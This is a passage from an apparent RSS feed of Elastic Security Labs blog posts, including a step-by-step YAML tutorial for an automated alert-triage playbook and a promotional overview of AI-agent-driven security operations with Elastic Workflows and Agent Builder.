<p>From there, a workflow can execute a sequence of steps that look a lot like what an analyst would do manually:</p>
<ul>
<li>Query Elastic data (including ES|QL), transform results, and branch based on conditions</li>
<li>Create or update a Case, attach supporting context, and keep an auditable record of what was collected and why.</li>
<li>Notify downstream systems (Slack, Jira, PagerDuty, and other services) using connectors you’ve already configured, or call internal/external APIs via HTTP steps.</li>
</ul>
<p>This becomes especially impactful when paired with endpoint response capabilities. When an alert fires, teams can automatically isolate the host and kick off a standardized evidence bundle - capture a memory dump, collect a suspicious file (get-file), and list running processes - so responders have what they need immediately.</p>
<p>The net effect is faster execution of the first steps in incident response, while investigations follow consistent playbooks across analysts and shifts. Instead of relying on memory and manual checklists, Workflows helps enforce a repeatable investigation standard and makes it easier to scale response when alert volume spikes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/image1.png" alt="Alert Triage workflow built with Elastic Workflows native automation." title="Alert Triage workflow built with Elastic Workflows native automation." /></p>
<h2>Elastic Security Labs - Research that powers real-world defenses</h2>
<p>Elastic Security is informed by the work of <a href="https://www.elastic.co/fr/security-labs/about">Elastic Security Labs</a>, a team dedicated to studying real adversary behavior and translating those findings into practical detection and investigation guidance. Threat Command tracks emerging techniques, malware activity, and endpoint tradecraft, then turns that research into updates that matter in day-to-day security operations: new and refined detection rules, improvements to prevention logic, and clearer guidance on how to investigate what you’re seeing.</p>
<p>Elastic Security Labs also publishes technical write-ups and analyses to help the broader community understand how threats operate in the wild. For defenders, that research provides useful context behind detections - why a technique matters, what evidence to look for, and how to scope impact once an alert fires.</p>
<h2>Tying it all together</h2>
<p>As a core capability of our agentic security operations platform, Elastic Security XDR unifies traditionally siloed defenses to tackle the speed and complexity of modern threats. An initial host-based signal can quickly spread across endpoints, identities, and cloud services. Agentic workflows and agent skills help analysts investigate and respond at machine speed. Analysts no longer need to stitch together disconnected tools - they can follow attacker activity throughout the environment, combining endpoint prevention with autonomous investigative and response capabilities in a single platform.</p>
<h2>Learn More</h2>
<p>Visit <a href="https://elastic.co/security/xdr">elastic.co/security/xdr</a> to learn more. Try a free <a href="https://cloud.elastic.co/serverless-registration">Elastic Security trial</a>, explore Elastic Defend with our <a href="https://videos.elastic.co/watch/wVJRXJQR5orNBEkjgUbVRq">Getting Started video</a>, or practice with real malware at <a href="https://ohmymalware.com">ohmymalware.com</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/investigating-from-the-endpoint-across-your-environment.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Security Automation with Elastic Workflows: From Alert to Response]]></title>
            <link>https://www.elastic.co/fr/security-labs/security-automation-with-elastic-workflows</link>
            <guid>security-automation-with-elastic-workflows</guid>
            <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[A practical guide to building intelligent, automated security playbooks with Elastic Workflows.]]></description>
            <content:encoded><![CDATA[<h2>The daily loop</h2>
<p>An alert fires. You open it. You read through the details. You gather context from the surrounding activity. You check for related signals across your environment. You decide what it means and what to do next. Sometimes you escalate. Sometimes you close it and move on.</p>
<p>You do this dozens of times a day. The steps are almost always the same. The data you need is already in your SIEM. The actions you take are predictable. But the work is still manual.</p>
<p>This is the kind of work that automation should handle. Not because it's hard, but because it's repetitive, and every minute spent on repetitive manual triage is a minute not spent on the alerts that actually need a human.</p>
<p>Elastic Workflows brings that automation into the SIEM itself. No separate tool. No integration to build. Your detection rule fires, and a workflow runs, with direct access to your alerts, cases, and security data.</p>
<p>This blog post walks through building a security playbook with Workflows, step by step. We'll start simple and build up to a workflow that runs when an alert fires, checks threat intel, gathers context, creates cases, notifies the team, and brings in AI when the investigation calls for it.</p>
<p>If you're new to Workflows, the <a href="https://www.elastic.co/fr/search-labs/blog/elastic-workflows-automation">introductory technical deep dive</a> blog and <a href="https://www.youtube.com/watch?v=Tu505Zn1wUc">video</a> cover the core concepts of Workflows. This post focuses on applying these concepts in a security context.</p>
<h2>Quick orientation</h2>
<p>Workflows are YAML definitions that run inside Kibana. You define what should happen, and the platform handles execution. At a high level, a workflow is composed of three main parts: triggers (when it runs), steps (what it does), and data flow (how information moves between steps).</p>
<p><a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/triggers"><strong>Triggers</strong></a> decide when the workflow runs. An alert trigger runs on a detection. A scheduled trigger runs on a cadence. A manual trigger runs on demand. A workflow can have more than one.</p>
<p><a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/steps"><strong>Steps</strong></a> define what the workflow does. They run in order and can use outputs from earlier steps. They can query data in <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/steps/elasticsearch">Elasticsearch</a>, update alerts and cases in <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/steps/kibana">Kibana</a>, and <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/steps/external-systems-apps">call external systems</a> like sending a Slack message or scanning a hash on VirusTotal. They can also apply logic such as conditionals or loops, and use <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/steps/ai-steps">AI</a> for tasks like summarizing text, prompting an LLM, or invoking agents when deeper reasoning is needed.</p>
<p>This is the toolkit. With these primitives, you can build workflows that take a signal, gather context, and drive a response.</p>
<h2>Building a security playbook</h2>
<p>We'll build an alert triage workflow incrementally. Each section adds a capability, and by the end, you'll have a working playbook that handles the full triage loop.</p>
<h3>Start with the trigger</h3>
<p>Security workflows start with an event. It could be an alert, a case update, a user action, or a scheduled check. The workflow takes that signal, gathers context, and decides what to do next.</p>
<p>We’ll start with alert triage. It’s the most common path, and it shows the full loop end to end. Each section adds a capability, and by the end, you’ll have a working playbook.</p>
<p>Here’s a minimal workflow with an alert trigger:</p>
<pre><code class="language-yaml">name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  # we'll build these out
</code></pre>
<p>The <code>alert</code> trigger connects this workflow to detection rules. You link a specific rule to this workflow from the rule's <strong>Actions</strong> settings in Kibana. When the rule fires, the workflow runs and receives the full alert context through the <code>event</code> variable. That includes <code>event.alerts</code> (the alert documents), <code>event.rule</code> (the rule metadata), and every field on the alert.</p>
<p>From here, you start adding steps.</p>
<h3>Check threat intel</h3>
<p>The first real step: take the file hash from the alert and check it against VirusTotal. Workflows have a built-in VirusTotal connector, so you don't need to construct HTTP requests or manage API keys in your YAML (connector credentials like VirusTotal API keys or Slack tokens are configured once in the connector under <strong>Stack Management &gt; Connectors</strong>):</p>
<pre><code class="language-yaml">  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: &quot;my-virustotal&quot;
    with:
      hash: &quot;{{ event.alerts[0].file.hash.sha256 }}&quot;
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true
</code></pre>
<p>Every step in a workflow follows a simple, consistent structure. It starts with a <code>name</code>, which gives the step a clear identity, and a <code>type</code>, which defines the action being performed. In this case, the step calls the VirusTotal file hash scan capability. Because this is a connector-backed action, it also includes a <code>connector-id</code>, which tells the workflow which configured integration to use, including its credentials.</p>
<p>The <code>with</code> block is where you pass inputs into the step. Each step type defines the parameters it accepts. Here, you provide the file hash to scan. Rather than hardcoding values, workflows use a built-in templating engine powered by LiquidJS. The <code>{{ }}</code> syntax lets you <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/data#workflows-dynamic-values">reference data from the execution context</a>, so the hash is pulled directly from the alert that triggered the workflow.</p>
<p>Finally, the <code>on-failure</code> block defines how the step behaves if something goes wrong. In this case, it retries twice with a short delay and continues execution even if the lookup fails. This is important in production workflows, where a transient external API issue should not block the entire triage process.</p>
<h3>Gather context with ES|QL</h3>
<p>Next, query for related alerts on the same host. ES|QL runs directly against your security indices, so there's no API bridging or credential management:</p>
<pre><code class="language-yaml">  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == &quot;{{ event.alerts[0].host.name }}&quot;
        | WHERE @timestamp &gt; NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json
</code></pre>
<p>This tells you whether the host has been generating other alerts, which rules triggered, and which users were involved. That context is included in the case description and informs the severity assessment later.</p>
<p>The same approach works for any enrichment that touches data in Elasticsearch: looking up a user's first-seen date, checking how many times a hash has appeared in your logs, or pulling the process tree from endpoint data. If the data is in your cluster, ES|QL can get it.</p>
<h3>Branch on findings</h3>
<p>Now the workflow needs to decide what to do. If VirusTotal flagged the file as malicious, create a case and respond. If not, close the alert as a false positive:</p>
<pre><code class="language-yaml">  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious &gt; 5
    steps:
      # true positive path: steps below
    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - &quot;{{ event.alerts[0]._id }}&quot;
</code></pre>
<p>The <code>if</code> step evaluates a condition and runs different steps depending on the result. The false positive path closes the alert in a single step. The true positive path continues below.</p>
<h3>Create a case</h3>
<p>When the alert is confirmed malicious, open a case with context from previous steps:</p>
<pre><code class="language-yaml">      - name: create_case
        type: kibana.createCase
        with:
          title: &quot;Malware Detected: {{ event.alerts[0].file.hash.sha256 }}&quot;
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: &quot;.none&quot;
            fields: null
</code></pre>
<p><a href="https://www.elastic.co/fr/docs/explore-analyze/workflows/data#workflows-dynamic-values">Liquid templating</a> pulls data from the alert (<code>event</code>), from the VirusTotal results (<code>steps.check_virustotal.output</code>), and from the ES|QL query (<code>steps.related_alerts.output</code>). Every field from every previous step is available to every subsequent step.</p>
<h3>Notify the team</h3>
<p>Send a Slack message so the team knows a confirmed case is open:</p>
<pre><code class="language-yaml">      - name: notify_team
        type: slack
        connector-id: &quot;security-alerts&quot;
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}
</code></pre>
<p>Slack is one option. Jira, ServiceNow, PagerDuty, Microsoft Teams, email, and Opsgenie are all supported as connector steps.</p>
<h3>The complete workflow</h3>
<p>Here's the full workflow assembled:</p>
<pre><code class="language-yaml">name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: &quot;my-virustotal&quot;
    with:
      hash: &quot;{{ event.alerts[0].file.hash.sha256 }}&quot;
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == &quot;{{ event.alerts[0].host.name }}&quot;
        | WHERE @timestamp &gt; NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious &gt; 5
    steps:
      - name: create_case
        type: kibana.createCase
        with:
          title: &quot;Malware Detected: {{ event.alerts[0].file.hash.sha256 }}&quot;
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: &quot;.none&quot;
            fields: null

      - name: notify_team
        type: slack
        connector-id: &quot;security-alerts&quot;
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - &quot;{{ event.alerts[0]._id }}&quot;
</code></pre>
<p>That's the triage loop, automated. Alert fires, threat intel checked, context gathered, decision made, case created, team notified. Every execution is logged and auditable.</p>
<p>This is a starting point. The <a href="https://github.com/elastic/workflows/blob/main/workflows/security/response/traditional-triage.yaml">traditional-triage.yaml</a> in the Elastic Workflows library on GitHub goes further: it isolates the host, looks up the on-call analyst, creates a dedicated Slack channel, assigns the case, and posts a rich incident summary. Same patterns, more steps.</p>
<h2>Adding AI to the playbook</h2>
<p>The workflow above handles a defined path. If the hash is malicious, do X; otherwise, do Y. That covers a lot of triage work. But not every alert fits a clean branching condition, and not every case description should be a list of raw fields.</p>
<p>Workflows include AI steps that handle the parts where structured logic runs out. There are three, and they work together.</p>
<h3>Classify: let AI drive the branching</h3>
<p>Instead of branching on a VirusTotal score threshold, use <code>ai.classify</code> to categorize the alert. It considers the full alert context, not just a single number:</p>
<pre><code class="language-yaml">  - name: classify_alert
    type: ai.classify
    with:
      input: &quot;${{ event }}&quot;
      categories:
        - malware
        - phishing
        - lateral_movement
        - data_exfiltration
        - false_positive
      instructions: |
        Classify this security alert based on the alert details,
        rule name, and affected entities.
      includeRationale: true
</code></pre>
<p>The output is structured: <code>steps.classify_alert.output.category</code> returns a single string like <code>&quot;malware&quot;</code> or <code>&quot;false_positive&quot;</code>. That drives the <code>if</code> condition directly. The rationale explains why, and you can include it in the case for audit purposes.</p>
<h3>Summarize: write case descriptions that adapt</h3>
<p>Rather than templating raw field values into a case description, use <code>ai.summarize</code> to generate a readable overview. Run it once before case creation for the initial description, and once after the agent investigation to update the description with the full picture:</p>
<pre><code class="language-yaml">  - name: initial_summary
    type: ai.summarize
    with:
      input: &quot;${{ event }}&quot;
      instructions: |
        Write a one-paragraph overview of this security alert.
        State what was detected, on which host, by which user, and the severity.
        Do not include recommendations. Just the facts.
      maxLength: 300
</code></pre>
<p>The summary adapts to whatever fields are present on the alert, so you don't need to account for every possible field combination in your Liquid templates. Use <code>steps.initial_summary.output.content</code> in the case description and the Slack notification.</p>
<h3>Agent: investigate what the playbook can't</h3>
<p>The <code>ai.agent</code> step invokes an Agent Builder agent. Unlike classify and summarize, an agent has access to tools. It can query your indices, check threat intel, correlate signals across data sources, and reason about what it finds:</p>
<pre><code class="language-yaml">  - name: escalate_to_agent
    type: ai.agent
    agent-id: &quot;security-agent&quot;
    create-conversation: true
    with:
      message: |
        Investigate this alert. Search for related activity on this host,
        check for persistence mechanisms and lateral movement,
        and determine the full scope of the incident.
        Alert: {{ event | json }}
        Classification: {{ steps.classify_alert.output.category }}
        VirusTotal: {{ steps.check_virustotal.output | json }}
        Related alerts: {{ steps.related_alerts.output | json }}
    timeout: 10m
</code></pre>
<p>The agent processes the input, calls whatever tools it needs, and returns its findings. The workflow waits, then continues with the next steps: adding the investigation to the case, notifying the team, and updating the case description with a concise summary of what the agent found.</p>
<p>Setting <code>create-conversation: true</code> persists the conversation, so the workflow can fetch the agent's reasoning trail and add it to the case as a structured comment with clickable links to each query it ran. And the analyst gets a direct link to pick up the conversation with the agent if they want to dig deeper.</p>
<h3>Putting it together</h3>
<p>In the full version of this workflow, the three AI steps work in sequence:</p>
<ol>
<li><strong>Classify</strong> the alert to drive the triage decision</li>
<li><strong>Summarize</strong> the alert for the initial case description and Slack notification</li>
<li><strong>Agent</strong> investigates the full scope: persistence, lateral movement, IOCs, affected systems</li>
<li><strong>Summarize</strong> again, this time distilling the agent's findings into a concise, updated case description</li>
</ol>
<p>The case starts with a clean factual overview and evolves into a comprehensive summary as the investigation completes. The agent's full analysis and reasoning trail live as case comments for analysts who want the details.</p>
<p>The complete workflow, including the AI investigation pipeline with reasoning trails, clickable Discover links, and follow-up Slack notifications, is available in the <a href="https://github.com/elastic/workflows">Elastic Workflows library on GitHub</a>.</p>
<h2>Workflows as agent tools</h2>
<p>The integration between Workflows and Agent Builder works in both directions. Workflows can call agents (as shown above). And agents can call workflows.</p>
<p>When you expose a workflow as a tool in Agent Builder, an agent can invoke it during a conversation. The agent decides what needs to happen, and the workflow handles the execution reliably and repeatably.</p>
<p>This is the pattern demonstrated in the <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Chrysalis APT blog post</a>: a two-step workflow hands the entire Attack Discovery to an agent, and the agent calls workflow-backed tools to verify malware hashes, search logs, check the on-call schedule, create a case, and spin up a Slack channel. The workflow is the trigger and the safety net. The agent is the brain.</p>
<p>Agents reason. Workflows execute. Together they cover the full range from judgment to action.</p>
<h2>Open by design</h2>
<p>Not every team starts from zero. Some already have automation running in Tines, Splunk SOAR, Palo Alto XSOAR, or another platform. Workflows don't ask you to replace any of your existing tools.</p>
<p>The idea is straightforward: use Workflows for the parts of your automation that are native to Elastic. Alert triage, enrichment from your own indices, case management, and alert status updates. These touch your Elastic data directly, and a native workflow will always be simpler and faster than an external tool making API calls back into Elastic.</p>
<p>For everything else, connectors bridge the gap. We have native connectors for Tines, Resilient, Swimlane, TheHive, D3 Security, Torq, and XSOAR. A workflow can kick off a Tines story, push an incident to Resilient, or trigger any external system via HTTP. Your existing tools handle cross-platform orchestration. Workflows handle what's native. As the capability grows, you can consolidate at your own pace. Nobody's forcing a migration.</p>
<h2>What's here and what's next</h2>
<p>Workflows is available today. Here's what you can build with it today:</p>
<ul>
<li><strong>Alert triggers</strong> connect workflows to detection and alerting rules</li>
<li><strong>Case and alert management</strong> through named Kibana steps (<code>kibana.createCase</code>, <code>kibana.SetAlertsStatus</code>, <code>kibana.addCaseComment</code>, and more)</li>
<li><strong>Direct data access</strong> via Elasticsearch search and ES|QL</li>
<li><strong>39 workflow-compatible connectors</strong> covering threat intel (VirusTotal, AbuseIPDB, GreyNoise, Shodan, URLVoid, AlienVault OTX), ticketing (Jira, ServiceNow), communication (Slack, Teams, PagerDuty, email), SOAR platforms (Tines, Resilient, Swimlane, TheHive, and others), and AI providers</li>
<li><strong>AI steps</strong> for classification, summarization, prompts, and Agent Builder invoking Elastic Agents/Skils</li>
<li><strong>YAML authoring</strong> with autocomplete, validation, and step testing in Kibana</li>
<li><strong>50+ example workflows</strong> on <a href="https://github.com/elastic/workflows">GitHub</a>, including security-specific templates for detection, enrichment, and response</li>
</ul>
<p>What's coming:</p>
<ul>
<li><strong>Visual workflow builder</strong> for drag-and-drop authoring</li>
<li><strong>In-product template library</strong> to browse and install workflows directly in Kibana</li>
<li><strong>Human-in-the-loop</strong> approvals that pause workflows for human input via Slack, email, or the Kibana UI</li>
<li><strong>Natural language authoring</strong> where AI helps translate intent into working workflows</li>
</ul>
<p>Today, authoring is YAML-based. If you've written detection rules or configured CI/CD pipelines, the learning curve is gentle. The editor has built-in autocomplete, validation, and step testing, and the example library gives you templates to start from. A visual builder is coming to make this accessible to a wider audience.</p>
<h2>Get started</h2>
<p>Elastic Workflows is available now. To start building:</p>
<ol>
<li><a href="https://cloud.elastic.co/registration">Start an Elastic Cloud trial</a> or enable Workflows in your existing deployment under <strong>Stack Management &gt; Advanced Settings</strong></li>
<li>Explore the <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">Workflows documentation</a></li>
<li>Browse the <a href="https://github.com/elastic/workflows">Elastic Workflow Library on GitHub</a> for security templates you can adapt</li>
<li>Read the <a href="https://www.elastic.co/fr/search-labs/blog/elastic-workflows-automation">introductory technical deep dive</a> for core concepts</li>
<li>See the <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Chrysalis APT blog</a> for a complete Attack Discovery + Workflows + Agent Builder walkthrough</li>
</ol>
<p>Start with the workflow that would save you the most time tomorrow.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/security-automation-with-elastic-workflows/security-automation-with-elastic-workflows.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Streamlining the Security Analyst Experience]]></title>
            <link>https://www.elastic.co/fr/security-labs/streamlining-the-security-analyst-experience</link>
            <guid>streamlining-the-security-analyst-experience</guid>
            <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Alert Triage, Investigation, and Response with Elastic's Agentic Security Operations Platform.]]></description>
            <content:encoded><![CDATA[<p>The term <strong>Agentic SOC (Security Operations Center)</strong> is one of the most popular concepts in security today. But what does it truly mean in practice, and how does Elastic Security approach this next evolution of security operations?</p>
<p>In simple terms, an Agentic SOC is a security operations center that has deployed AI Agents and corresponding AI Agent Skills to perform SOC-related workflows such as detection engineering, alert triage, incident investigation, escalation, response, and threat hunting. When these workflows are performed by AI agents, they’re often called “Agentic workflows.” These AI Agents and Skills may run natively in a security operations platform like SIEM, XDR, or security analytics, or they may be layered on top of legacy SIEM as an “AI SOC Agent” or “AI SOC analyst”, or they may even be run from an AI Coding Tool.</p>
<p>Regardless of how they are implemented, the shift to the Agentic SOC is not about AI replacing human analysts; it's about transforming how the SOC functions. To keep pace with rapidly evolving attackers, defenders must leverage AI and autonomous agents to respond as quickly as possible. At its core, an Agentic SOC is defined by how a security operations center uses <strong>AI and agents to protect against adversaries</strong>.</p>
<p>Let’s simplify a successful security operations center to three fundamental pillars, all of which the Agentic SOC significantly enhances:</p>
<ol>
<li><strong>Observe:</strong> The foundation of all security is centralized data—aggregating logs and events into one location, which is the core strength of a SIEM solution.</li>
<li><strong>Detect:</strong> This involves deploying core protections like endpoint-based security (XDR, such as Elastic Defend) and security solution-focused detections (cloud, identity data). This technology drives the generation of high-quality alerts. Elastic, for example, ships over <a href="https://elastic.github.io/detection-rules-explorer/"><strong>1,700 pre-built rules</strong></a> for its SIEM by default, not including its XDR solution's endpoint rule library.</li>
<li><strong>Act:</strong> This is the critical final stage of triaging, investigating, and acting on the generated alerts.</li>
</ol>
<h2>Agentic SOC in Action</h2>
<p>Imagine this real-life scenario unfolding in your Security Operations Center using the Elastic security platform. It begins not with a siren, but with a simple, direct Slack notification. Building on our recent <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">blog</a> on Attack Discovery, Workflows, and Agent Builder, let's further examine how Elastic Security can help you respond to an active attack.</p>
<ol>
<li><strong>The Initial Alert and Immediate Action</strong><br />
Your security analyst receives an urgent notification in their team channel. This message isn't just a heads-up; it points directly to an observed, active attack. Crucially, the Elastic Agentic SOC has already taken decisive, pre-emptive action: a vulnerable host has been isolated from the network to contain the threat and limit potential damage. This was all powered by Elastic Workflows and Elastic Agent Builder processing realtime alert and attack data from Elastic.<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/streamlining-the-security-analyst-experience/image5.png" alt="Example analyst notification in Slack after the AI agent has performed initial triage." title="Example analyst notification in Slack after the AI agent has performed initial triage." /></li>
<li><strong>The Centralized Case</strong><br />
The analyst's next step is a click away, moving from Slack directly to the centralized Case within Elastic that was created by the workflow. Elastic Case Management enables the SOC to coordinate the response and provides a single pane of glass into all aggregated critical information:</li>
</ol>
<ul>
<li>
<p><strong>Attack Summary:</strong> A high-level overview detailing what has occurred using Attack Discovery.</p>
</li>
<li>
<p><strong>Attached Alerts:</strong> The specific security alerts that triggered the initial observation.</p>
</li>
<li>
<p><strong>Observables:</strong> A list of suspicious artifacts (IP addresses, file hashes, domains, etc.) collected from the event.</p>
</li>
<li>
<p><strong>Attached Events:</strong> Non-alert events that, while not an alert themselves, provide critical context and are of further interest to the investigation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/streamlining-the-security-analyst-experience/image2.png" alt="" /></p>
</li>
</ul>
<ol start="3">
<li><strong>Supporting the Investigation</strong><br />
To support the immediate findings, detailed <strong>Investigations</strong> are attached directly to the Case. These searches allow the analyst to visually and contextually step through the sequence of events leading up to, during, and immediately following the attack.<br />
The Elastic Case also provides instant context by highlighting <strong>Similar cases</strong>. By cross-referencing observables, the system identifies previous incidents involving the same entities or artifacts, providing a deeper understanding of the threat actor's history and potential motives.</li>
<li><strong>The Path to Resolution</strong><br />
The agents don’t just catalog the past; it dictates the future. A clear set of <strong>Next steps and actions</strong> are outlined, with specific team members assigned for review and execution.</li>
</ol>
<p>The analyst then steps through a methodical process reviewing the automated analysis:</p>
<ol>
<li><strong>Reviewing Findings:</strong> Scrutinizing all aggregated data, alerts, and investigations.</li>
<li><strong>Evidence Collection:</strong> Collecting any additional forensic evidence needed for a complete analysis.</li>
<li><strong>Remediation:</strong> Executing manual or automated actions, such as deleting malicious files or killing persistent processes on the isolated host with Elastic Defend.</li>
<li><strong>Final Release:</strong> Eventually, the host is safely released back to the network, but not before additional, targeted rules or policies are automatically applied to prevent a recurrence based on the lessons learned from this incident.<br />
In the Agentic SOC, the analyst moves seamlessly from a high-level alert to a comprehensive investigation to full remediation—all within a unified, intelligent workflow powered by Elastic.</li>
</ol>
<h2>Elastic Security and Core SIEM Workflows</h2>
<p>Before exploring advanced agentic workflows, it's essential to recognize that Elastic Security already provides a comprehensive suite of core capabilities crucial for modern security operations. This foundation begins with the ingestion of security-relevant data, which is automatically normalized to a common schema, ensuring consistency and ease of analysis. The platform offers Extended Detection and Response (XDR) capabilities via Elastic Defend, a robust detection engine built directly into the Elastic Stack, and sophisticated alert workflows that include built-in correlations to reduce noise and surface true threats.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/streamlining-the-security-analyst-experience/image4.png" alt="" /></p>
<p>Elastic Security further differentiates itself by tightly integrating key operational functions. This includes entity-based threat hunting, machine learning for anomaly detection and behavior analysis, and comprehensive case management for tracking incidents. Finally, the platform provides end-to-end response and forensic capabilities, enabling security teams to move swiftly from initial alert to investigation and remediation, all within a unified, scalable platform.</p>
<h2>Empowering Analysts with Agentic Capabilities</h2>
<h3>AI-Powered Alert Triage and Prioritization</h3>
<p>The Elastic Security Solution integrates AI capabilities via <strong>Agent Builder</strong> to augment and make SOC operations truly agentic. This is where efficiency improvements are most keenly felt:</p>
<ul>
<li><strong>Conversational Triage:</strong> A built-in agent is readily available to Tier 1/2 analysts, allowing them to use conversational commands to query and prioritize open alerts (e.g., &quot;What priority alerts should I review from the last 30 days?&quot;). This is the first entry point for using AI to augment SOC operations.</li>
<li><strong>LLM Agnostic Platform:</strong> A key differentiating feature of Elastic's <strong>Agent Builder</strong> is that it is <strong>LLM agnostic</strong>, allowing organizations to pick their preferred model, even locally running models for privacy or regulatory reasons.</li>
<li><strong>Attack Discovery:</strong> This premier feature moves beyond basic triage. It uses LLM configurations to create <strong>higher-order attack detections</strong>, taking hundreds of open alerts and prioritizing them into a small, manageable subset of known attacks or incidents. This dramatically reduces the impact of alert fatigue.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/streamlining-the-security-analyst-experience/image3.png" alt="" /></p>
<h3>Enriched Investigations</h3>
<p>Once an attack or incident is found, the agent helps start the investigation:</p>
<ul>
<li><strong>Summarization and Enrichment:</strong> The agent can be used to summarize the attack, identify important artifacts, and conduct automated third-party enrichments (like checking VirusTotal). This tailored experience provides a full assessment, including an attack chain, threat intelligence information, related cases, entity risk scoring, and a full investigation guide.</li>
<li><strong>Case Management:</strong> The agent can be instructed to take immediate action, such as generating a security case and notifying the team in Slack, all through simple conversational commands that execute pre-configured workflows.</li>
</ul>
<h3>Automated Response and Threat Hunting</h3>
<p>The true power of the Agentic SOC is realized through action and automation that goes beyond simple conversation:</p>
<ul>
<li>
<p><strong>Workflows and SOAR-like Automation:</strong> Agents can reference and execute <strong>Workflows</strong>, Elastic's SOAR-like automation tool. These workflows allow analysts to take immediate, complex actions. For example, a command like &quot;Please create a case for this attack, and notify my team in Slack&quot; triggers multiple, pre-defined steps. Further critical response actions, such as <strong>isolating a host</strong>, can be executed with a single workflow action while the investigation continues.</p>
</li>
<li>
<p><strong>AI-Assisted Threat Hunting:</strong> AI assists threat hunters by leveraging <strong>Entity Analytics</strong> and pre-built skills. The agent can be asked to find high-risk hosts and users to begin hunting, and then automatically generate specific ESQL queries (e.g., &quot;Please tell me the most uncommon processes executed for each host&quot;) to uncover unusual or malicious activity.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/streamlining-the-security-analyst-experience/image1.png" alt="" /></p>
</li>
</ul>
<h3>The Mandate of Automation</h3>
<p>For maximum effectiveness, all these steps,from alert triage and enrichment to case creation and host isolation,can be configured to run <strong>automatically</strong> as an Agentic Alert Triage workflow. This allows the system to solve problems as soon as they are discovered, setting up the human analyst in the loop with a consolidated case and all the necessary findings in a single pane of glass.</p>
<p>This approach delivers substantial <strong>efficiency improvements</strong>, making speed the single most important factor in a modern, Agentic SOC.</p>
<p>Elastic’s Agentic Security Operations Platform</p>
<p>Whether you use our UI, our agents, or your own, Elastic Security provides a strong open foundation for modern security operations. best-in-class data architecture, search, workflows, analytics, detection engineering content, and automation.</p>
<h2>Getting started</h2>
